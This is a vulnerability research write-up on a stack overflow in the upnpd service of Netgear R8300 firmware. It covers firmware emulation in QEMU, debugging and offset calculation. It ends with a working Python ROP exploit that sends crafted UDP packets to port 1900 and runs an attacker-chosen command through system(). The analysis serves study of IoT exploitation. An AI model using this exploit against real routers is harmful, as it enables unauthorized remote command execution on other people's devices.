Analysis of Stack Overflow Vulnerability in Netgear R8300

Vulnerability Description:

There is a stack overflow vulnerability in the sub_25E04 function of the upnpd file. The length is not checked during strcpy, causing an overflow and allowing for a ROP attack to achieve command execution. Version: 1.0.2.134

Vulnerability Analysis and Reproduction1. Firmware Simulation Using qemu system simulation:

qemu startup:
qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap -nographic
ubuntu network configuration:
#! /bin/sh 
sudo sysctl -w net.ipv4.ip_forward=1 
sudo iptables -F 
sudo iptables -X 
sudo iptables -t nat -F 
sudo iptables -t nat -X 
sudo iptables -t mangle -F 
sudo iptables -t mangle -X 
sudo iptables -P INPUT ACCEPT 
sudo iptables -P FORWARD ACCEPT 
sudo iptables -P OUTPUT ACCEPT 
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE 
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT 
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT 
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0
qemu network configuration:
#!/bin/sh 
ifconfig eth0 192.168.100.2 netmask 255.255.255.0 
route add default gw 192.168.100.254
file transfer:
scp -r squashfs-root/ [email protected]:~/
running:
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev
chroot ./squashfs-root/ sh

1. Fix run file: The error message is as follows, and it was found that the corresponding file is missing

3247 open("/var/run/upnpd.pid",O_RDWR|O_CREAT|O_TRUNC,0666) = -1 errno=2 (No such file or directory)

So manually create the corresponding file:

mkdir -p ./tmp/var/run

2. Fix nvram file: Run the upnpd file again, and it reports an error, which traces back to the following error:

/dev/nvram: No such device
3274 open("/lib/libnvram.so",O_RDONLY) = -1 errno=2 (No such file or directory)
3276 open("/dev/nvram",O_RDWR) = -1 errno=2 (No such file or directory)
/dev/nvram3276 write(2,0x3ff794d8,10) = 10

It was found that the nvram dependency is missing. NVRAM saves some configuration information of the device, and the program needs to read the configuration information during runtime. Due to the lack of the corresponding peripheral, an error will be reported. To compile the nvram file, the libnvram library provided by Firmadyne can be used, as it supports many APIs. The library provided by Firmadyne is as follows: https://github.com/firmadyne/libnvram

There are also nvram files specifically written for Netgear routers online, and this time this specialized one is selected. The link is as follows: https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c

I originally wanted to use the ARM cross-compilation toolchain to compile, but it kept reporting errors, so I used buildroot to install the cross-compilation toolchain.

tar -xzvf buildroot-2019.02.1.tar.gz
sudo chmod -R 777 buildroot-2019.02.1
sudo make clean
sudo make menuconfig
Set architecture to arm little endian
sudo make -j8
gedit /etc/profile
export PATH=$PATH:/home/ubuntu/buildroot-2019.02.1/output/host/usr/bin
source /etc/profile

Then compile the nvram.c file

arm-linux-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so

Manually load the nvram.so file and run again:

LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd

The error message is:

# ./usr/sbin/upnpd: can't resolve symbol 'dlsym'

3. The dlsym hijacking nvram library’s implementer also hooks system, fopen, open, and other functions, so dlsym will also be used, and /lib/libdl.so.0 exports this symbol. Therefore, be sure to load this linked library during execution. Find its corresponding libc file

$ grep -r "dlsym"
Binary file nvram.so matches
Binary file sbin/pppd matches
Binary file usr/local/sbin/openvpn matches
Binary file usr/sbin/tc matches
Binary file usr/sbin/afpd matches
Binary file usr/lib/libasound.so matches
Binary file usr/lib/libsqlite3.so matches
nvram.c:   real_system = dlsym(RTLD_NEXT, "system");
vram.c:   real_fopen = dlsym(RTLD_NEXT, "fopen");
vram.c:   real_open = dlsym(RTLD_NEXT, "open");
Binary file lib/libldb.so.1 matches
Binary file lib/libhcrypto-samba4.so.5 matches
Binary file lib/libkrb5-samba4.so.26 matches
Binary file lib/libdl.so.0 matches
Binary file lib/libsqlite3.so.0 matches
Binary file lib/libcrypto.so.1.0.0 matches
Binary file lib/libsamba-modules-samba4.so matches

$ readelf -a lib/libdl.so.0 | grep dlsym
26: 000010f0   296 FUNC    GLOBAL DEFAULT    7 dlsym

Run again and load manually:

LD_PRELOAD="./nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd

The error message is:

[0x3ff60cb8] fopen('/tmp/nvram.ini', 'r') = 0x00000000
Cannot open /tmp/nvram.ini

4. Fix nvram.ini file. Refer to online information: [https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini]https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini

upnpd_debug_level=9
lan_ipaddr=192.168.100.2 (User simulates the corresponding local IP, qemu corresponds to qemu's IP)
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF

Directly create nvram.ini in the tmp folder and fill in the above content

Run the upnpd file again, and it can be executed successfully:

# LD_PRELOAD="./nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd
# [0x00026460] fopen('/var/run/upnpd.pid', 'wb+') = 0x004bf008
[0x0002648c] custom_nvram initialized
[0x76e65cb8] fopen('/tmp/nvram.ini', 'r') = 0x004bf008
[nvram 0] upnpd_debug_level = 9
[nvram 1] lan_ipaddr = 192.168.100.2
[nvram 2] hwver = R8500
[nvram 3] friendly_name = R8300
[nvram 4] upnp_enable = 1
[nvram 5] upnp_turn_on = 1
[nvram 6] upnp_advert_period = 30
[nvram 7] upnp_advert_ttl = 4
[nvram 8] upnp_portmap_entry = 1
[nvram 9] upnp_duration = 3600
[nvram 10] upnp_DHCPServerConfigurable = 1
[nvram 11] wps_is_upnp = 0
[nvram 12] upnp_sa_uuid = 00000000000000000000
[nvram 13] lan_hwaddr = AA:BB:CC:DD:EE:FF
[nvram 14] lan_hwaddr = 
Read 15 entries from /tmp/nvram.ini
acosNvramConfig_get('upnpd_debug_level') = '9'
[0x0002652c] acosNvramConfig_get('upnpd_debug_level') = '9'
set_value_to_org_xml:1149()
[0x0000e1e8] fopen('/www/Public_UPNP_gatedesc.xml', 'rb') = 0x004bf008
[0x0000e220] fopen('/tmp/upnp_xml', 'wb+') = 0x004bf008
data2XML()
[0x0000f520] acosNvramConfig_get('lan_ipaddr') = '192.168.100.2'
xmlValueConvert()
[0x76da1838] acosNvramConfig_get('hwrev') = ''
[0x0000b40c] acosNvramConfig_get('hwver') = 'R8500'
[0x0000b428] acosNvramConfig_get('hwver') = 'R8500'
[0x76da1838] acosNvramConfig_get('hwrev') = ''
[0x0000b478] acosNvramConfig_get('hwver') = 'R8500'
[0x0000b494] acosNvramConfig_get('hwver') = 'R8500'
[0x0000f4ec] acosNvramConfig_get('friendly_name') = 'R8300'
xmlValueConvert()

2. Vulnerability Analysis and Debugging Reverse analysis of the upnpd file is as follows, the v51 variable recvfrom obtains the content, and calls the sub_25E04 function, where the strcpy function directly assigns the overly long data of v51 to the smaller buffer v39, causing a stack overflow:

Analysis of Stack Overflow Vulnerability in Netgear R8300

Analysis of Stack Overflow Vulnerability in Netgear R8300

Using gdbserver for debugging:

qemu side:
# echo 0 > /proc/sys/kernel/randomize_va_space Turn off address randomization
# ps | grep upnp
 2446 0          3324 S   ./usr/sbin/upnpd 
 2688 0          1296 S   grep upnp
# ./gdbserver-7.7.1-armhf-eabi5-v1-sysv :12345 --attach 2446
Host side:
gdb-multiarch
pwndbg> set architecture arm
pwndbg> set endian little
pwndbg> target remote 192.168.100.2:12345

The return address in the stack space and the strcpy target address are shown in the following image:

Analysis of Stack Overflow Vulnerability in Netgear R8300

Analysis of Stack Overflow Vulnerability in Netgear R8300

Thus, it can be seen that the distance from the strcpy target address to the return address is: 0x7ec6bc1c-0x7ec6b5ec=0x630 Construct the data packet to send:

#!/usr/bin/python3
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
    0x630 * b'a' +
    p32(0x43434343)
)
print(payload)
s.connect(('192.168.100.2', 1900))
s.send(payload)
s.close()

However, sending this way cannot successfully overwrite the return address, the error is as follows:

Analysis of Stack Overflow Vulnerability in Netgear R8300

Because the v39 pointer in the vulnerable function was once stored in v41, and v41 is still called later, if it is overwritten to an invalid address, it will cause an exception. Therefore, when sending the payload, the v41 pointer, which is the stack space where [R7-#8] is located, must be overwritten with a valid address. Here, it is overwritten with the original address of v39, and debugging finds that the offset to the strcpy target address is 0x604

Analysis of Stack Overflow Vulnerability in Netgear R8300

Therefore, construct a new data packet to send:

#!/usr/bin/python3
import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
    0x604 * b'a' +  
    p32(0x7effd5ec) +  # v41
    0x28 * b'a' +  
    p32(0x43434343)
)
s.connect(('192.168.100.2', 1900))
s.send(payload)
s.close()

The return address is shown in the following image:

Analysis of Stack Overflow Vulnerability in Netgear R8300

However, it was found that the sent payload was 0x43434343, but after overwriting it became 0x43434342, the last digit changed from 1 to 0. This point can refer to the link: https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html

The reasons are as follows:  
1. First, the overflow overwrites the return address of a non-leaf function. Once this function executes its end statement to restore the saved value, the saved LR is popped into the PC to return to the caller.  
2. Secondly, regarding the least significant bit, the BX instruction copies the LSB of the address loaded into the PC to the CPSR register's T state bit, and the CPSR register switches between ARM and Thumb modes: ARM (LSB=0)/Thumb (LSB=1).  
We can see that the R8300 is running in THUMB mode:  
When the processor is in ARM mode, each ARM instruction is 4 bytes, so the value of the PC register is the current instruction address + 8 bytes  
When the processor is in Thumb mode, each Thumb instruction is 2 bytes, so the value of the PC register is the current instruction address + 4 bytes  
Therefore, the saved LR (overwritten with 0x43434343) is popped into the PC, and then the LSB of the popped address is written into the CPSR register's T bit (bit 5), and finally, the LSB of the PC itself is set to 0, resulting in 0x43434342

Checksec checks the upnpd file as follows:

Arch:     arm-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8000)

Therefore, it can be seen that the following conditions currently exist:

1. Can control R4-R11 and the value of the PC register through stack overflow
2. There is ASLR protection, so cannot directly write the libc address
3. There is NX protection, so cannot directly place shellcode in the stack space
4. The stack overflow caused by strcpy, so the payload cannot contain '\x00' bytes, otherwise it will be truncated

3. Vulnerability Exploitation The idea of exploiting the vulnerability is shown in the following image, and the overall idea is to utilize stack reuse. First, use the first recvfrom to place the expayload in the stack space, and utilize the characteristic of strcpy ‘\x00’ truncation, which will not cause overflow in the vulnerable function.

Analysis of Stack Overflow Vulnerability in Netgear R8300

The overall ROP chain construction idea is illustrated in the following image:

Analysis of Stack Overflow Vulnerability in Netgear R8300

Therefore, construct the poc as follows:

import socket
import struct
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
cmd=raw_input("cmd injection: ")
payload1 = (
    '\x00'+  
    0x7bb*'a' + 
    p32(0x970a0)+              #r4,bss
    8*'a'+                     #r5,r6
    p32(0xb764)+               #gadget2
    cmd.ljust(0x400,"\x00")+   #sp
    0xc*'a'+                   #r4,r5,r6
    p32(0xaaac)                #system
)
payload2=(
    0x604 * b'a' +  
    p32(0x7effd5fc) +          #v41
    0x28 * b'a' +               
    p32(0x13334)               #gadget1
)
s.connect(('192.168.100.2', 1900))
s.send(payload1)
s.send(payload2)
s.close()

RCE is shown in the following image:

Analysis of Stack Overflow Vulnerability in Netgear R8300

Summary Through debugging this vulnerability, one can comprehensively and systematically understand the simulation, analysis, debugging, and exploitation process of IoT vulnerabilities.

Reference materials: https://cq674350529.github.io/2020/09/16/PSV-2020-0211-Netgear-R8300-UPnP%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/https://cool-y.github.io/2021/01/08/Netgear-psv-2020-0211/

end

Recruitment Advertisement

ChaMd5 Venom is recruiting experts to join

Newly established group IOT + industrial control + sample analysis Long-term recruitment

Welcome to contact[email protected]

Analysis of Stack Overflow Vulnerability in Netgear R8300

Leave a Comment